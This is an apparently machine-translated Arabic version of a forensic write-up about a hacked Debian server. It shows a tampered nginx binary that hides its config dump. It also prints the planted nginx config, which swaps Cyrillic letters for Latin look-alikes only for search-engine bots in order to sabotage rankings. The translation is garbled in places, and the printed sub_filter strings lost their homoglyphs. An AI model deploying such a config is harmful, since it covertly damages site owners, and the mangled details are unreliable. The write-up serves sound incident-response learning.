عندما تكون "a" لا تساوي "a". في أعقاب اختراق واحد

حدثت قصة غير سارة لأحد أصدقائي. لكن بقدر ما اتضح أنه غير سار بالنسبة لميخائيل ، كان الأمر ممتعًا بالنسبة لي.

يجب أن أقول إن صديقي هو مستخدم UNIX تمامًا: يمكنه تثبيت النظام بنفسه ، وتثبيت mysql ، و php ، وجعل أبسط إعدادات nginx .
ولديه أكثر من عشرة مواقع مخصصة لأدوات البناء.

أحد هذه المواقع ، المخصص للمناشير ، يقع بإحكام في محركات البحث TOP. هذا الموقع عبارة عن مراجع غير ربحي ، لكن شخصًا ما صادف حنجرته وهاجمه. إما DDoS ، ثم القوة الغاشمة ، ثم التعليقات سوف يكتب فاحشة وترسل انتهاكات إلى الاستضافة وإلى ILV.
فجأة ، هدأ كل شيء ولم يكن هذا الهدوء جيدًا ، وبدأ الموقع في ترك الخطوط العليا للنتائج تدريجيًا.

صورة

كان هذا القول ، ثم الدراجة المشرف نفسه.

كان الوقت يقترب من النوم عندما رن جرس الهاتف: "سانيا ، لن تنظر إلى الخادم الخاص بي؟ يبدو لي أنهم اخترقوني ، لا يمكنني إثبات ذلك ، لكن الشعور لم يترك الأسبوع الثالث. ربما يجب علي فقط أن أتلقى العلاج من جنون العظمة؟ "

بعد ذلك جاءت مناقشة لمدة نصف ساعة يمكن تلخيصها على النحو التالي:

  • كانت أرض التكاثر خصبة للغاية ؛
  • التكسير يمكن كسب حقوق الخارق.
  • الهجوم (إذا وقع) كان مستهدفًا على وجه التحديد لهذا الموقع ؛
  • يتم إصلاح مناطق المشكلات وتحتاج فقط إلى فهم ما إذا كانت هناك حقيقة تغلغل ؛
  • القرصنة لا يمكن أن تلمس رمز الموقع وقواعد البيانات.

فيما يتعلق بالفقرة الأخيرة.

صورة

الواجهة الأمامية IP البيضاء فقط هي التي تتطلع إلى العالم. لا يوجد تبادل بين الواجهة الخلفية والواجهة الأمامية باستثناء http (s) ، يختلف المستخدمون / كلمات المرور ، ولا يتم تبادل المفاتيح. على العناوين الرمادية ، يتم إغلاق جميع المنافذ باستثناء 80/443. تُعرف الواجهة الخلفية لـ IP IP فقط لمستخدمين يثق بهما مايكل.

يتم تثبيت Debian 9 على الواجهة الأمامية وبحلول وقت الاتصال ، يتم عزل النظام عن العالم بواسطة جدار حماية خارجي وتوقفه.

"حسنًا ، امنحني حق الوصول" ، قررت تأجيل النوم لمدة ساعة. "سأرى بأم عيني."

فيما يلي:

$ grep -F PRETTY_NAME /etc/*releas* PRETTY_NAME="Debian GNU/Linux 9 (stretch)" $ `echo $SHELL` --version GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu) $ nginx -v nginx version: nginx/1.10.3 $ gdb --version GNU gdb (Debian 8.2.1-2) 8.2.1 

بحثا عن اختراق ممكن


أبدأ تشغيل الخادم ، أولاً في وضع الإنقاذ . أقوم بتركيب الأقراص ، والاقتباس من خلال السجلات ، والمحفوظات ، وسجلات النظام ، وما إلى ذلك ، إذا أمكن ، تحقق من تواريخ إنشاء الملف ، على الرغم من أنني أفهم أن جهاز تكسير عادي "سيتعرق" خلفه ، وأن ميشا بالفعل "تدوس" بالفعل أثناء البحث عن نفسه.

أبدأ في الوضع العادي ، لا سيما بعد عدم معرفة ما الذي تبحث عنه ، وأنا أدرس التكوينات. إنه مهتم في المقام الأول بـ nginx لأنه ، بشكل عام ، لا يوجد شيء آخر غيره على الواجهة الأمامية.
إن التكوينات صغيرة الحجم ومهيكلة بشكل جيد في عشرات الملفات ؛ أنا فقط أنظر إليها من خلال القط فقط. يبدو أن كل شيء نظيف ، لكنك لم تفوت على ذلك البعض ، سأقوم بعمل قائمة كاملة:

 $ nginx -T nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful 

لم أفهم: "أين القائمة؟"

 $ nginx -V nginx version: nginx/1.10.3 TLS SNI support enabled configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module 

تتم إضافة الثانية إلى سؤال الإدراج: "لماذا هذا الإصدار القديم من nginx؟"

بالإضافة إلى ذلك ، يعتقد النظام أن الإصدار مثبت حديثًا:

 $ dpkg -l nginx | grep "[n]ginx" ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server 

انا اتصل:
- ميشا ، لماذا إعادة بناء nginx ؟
- حسنا ، أنا لا أعرف حتى كيف أفعل ذلك!
- حسنا ، حسنا ، النوم ...

يتم إعادة تجميع Nginx بشكل لا لبس فيه وإخفاء قائمة "-T" لسبب ما. ليس هناك شك في القرصنة ويمكنك قبولها و (نظرًا لأن Misha استبدلت الخادم بخادم جديد على أي حال) ، ففكر في حل المشكلة.

وبالفعل ، نظرًا لأن شخصًا ما حصل على امتيازات الجذر ، فمن المنطقي القيام بإعادة تثبيت النظام فقط ، والبحث عن ما كان يستخدم بشكل سيء هناك ، ولكن الفضول هذه المرة هزم الحلم. كيف نعرف ما أرادوا إخفاءه منا؟

دعنا نحاول تتبع:

 $ strace nginx -T 

نحن ننظر من خلال تتبع ومن الواضح أنه لا توجد خطوط كافية

 write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21 write(1, "... write(1, "\n", 1 

للمتعة ، قارن الاستنتاجات

 $ strace nginx -T 2>&1 | wc -l 264 $ strace nginx -t 2>&1 | wc -l 264 

أعتقد أن هذا الجزء من الكود / src/core/nginx.c

  case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; ngx_dump_config = 1; break; 

تم تخفيضه إلى النموذج:

  case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; //ngx_dump_config = 1; break; 

أو

  case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; ngx_dump_config = 0; break; 

لذلك ، لا يتم عرض الإدراج بواسطة -T.

ولكن كيف ترى التكوين لدينا؟


إذا كانت فكرتي صحيحة وكانت المشكلة في المتغير ngx_dump_config فقط ، فسنحاول تثبيتها باستخدام gdb ، لأن المفتاح --with-cc-opt -g موجود ونأمل ألا يضرنا التحسين - O2 . في الوقت نفسه ، بما أنني لا أعرف كيف يمكن معالجة ngx_dump_config في الحالة "T": ، فلن ندعو هذا الحظر ، ولكن نثبته باستخدام الحالة 't':

لماذا يمكنني استخدام "-t" مع "-T"
تتم معالجة كتلة if (ngx_dump_config) من الداخل إذا (ngx_test_config) :
  if (ngx_test_config) { if (!ngx_quiet_mode) { ngx_log_stderr(0, "configuration file %s test is successful", cycle->conf_file.data); } if (ngx_dump_config) { cd = cycle->config_dump.elts; for (i = 0; i < cycle->config_dump.nelts; i++) { ngx_write_stdout("# configuration file "); (void) ngx_write_fd(ngx_stdout, cd[i].name.data, cd[i].name.len); ngx_write_stdout(":" NGX_LINEFEED); b = cd[i].buffer; (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos); ngx_write_stdout(NGX_LINEFEED); } } return 0; } 

بالطبع ، إذا تم تغيير الرمز في هذا الجزء ، وليس في حالة "T": ، فلن تنجح طريقتي.

اختبار nginx.conf
بالفعل بعد حل المشكلة بشكل تجريبي ، تم العثور على أنه يلزم تشغيل تكوين nginx من النموذج لتشغيل البرامج الضارة:

 events { } http { include /etc/nginx/sites-enabled/*; } 

سوف نستخدمها لإيجاز في المقالة.

قم بتشغيل المصحح
 $ gdb --silent --args nginx -t Reading symbols from nginx...done. (gdb) break main Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188. (gdb) run Starting program: nginx -t [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188 188 src/core/nginx.c: No such file or directory. (gdb) print ngx_dump_config=1 $1 = 1 (gdb) continue Continuing. nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful # configuration file /etc/nginx/nginx.conf: events { } http { map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } map $uri $sign_uri { "~*/wp-" 1; default 0; } map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; include /etc/nginx/sites-enabled/*; } # configuration file /etc/nginx/sites-enabled/default: [Inferior 1 (process 32581) exited normally] (gdb) quit 


الخطوات:

  • قم بتعيين نقطة توقف في الوظيفة الرئيسية ()
  • قم بتشغيل البرنامج
  • تغيير قيمة المتغير الذي يحدد إخراج التكوين ngx_dump_config = 1
  • متابعة / انهاء البرنامج

كما ترون ، التكوين الحقيقي يختلف عن التكوين الخاص بنا ، فنحن نختار قطعة زائفة منها:

 map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } map $uri $sign_uri { "~*/wp-" 1; default 0; } map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; 

دعونا نفكر في ما يحدث هنا.

تم تعريفها بواسطة وكيل المستخدم / yandex / google:

 map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } 

صفحات خدمة Wordpress مستثناة :

 map $uri $sign_uri { "~*/wp-" 1; default 0; } 

وبالنسبة لأولئك الذين يقعون تحت كل من الشروط المذكورة أعلاه

 map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } 

في نص صفحة html- تتغير "o" إلى "o" و "a" إلى "a" :

 sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; 

بالضبط ، فإن الدقة هي أن "a"! = "A" هي نفسها "o"! = "O" :

صورة

وبالتالي ، تتلقى روبوتات محرك البحث ، بدلاً من النص السيريلي العادي 100٪ ، مكبلة معدلة مخففة باللاتينية "أ" و "س" . لا أفترض أن أتحدث عن كيفية تأثير ذلك على مُحسّنات محرّكات البحث ، ولكن من غير المحتمل أن تؤثر هذه التجزئة الحرفية بشكل إيجابي على المراكز في سيرب.

ماذا يقول الرجال مع الخيال.

مراجع


تصحيح الأخطاء مع GDB
gdb (1) - صفحة رجل Linux
strace (1) - صفحة رجل Linux
Nginx - الوحدة النمطية ngx_http_sub_module
حول المناشير والمناشير ومناشير القوة

Source: https://habr.com/ru/post/ar465355/


All Articles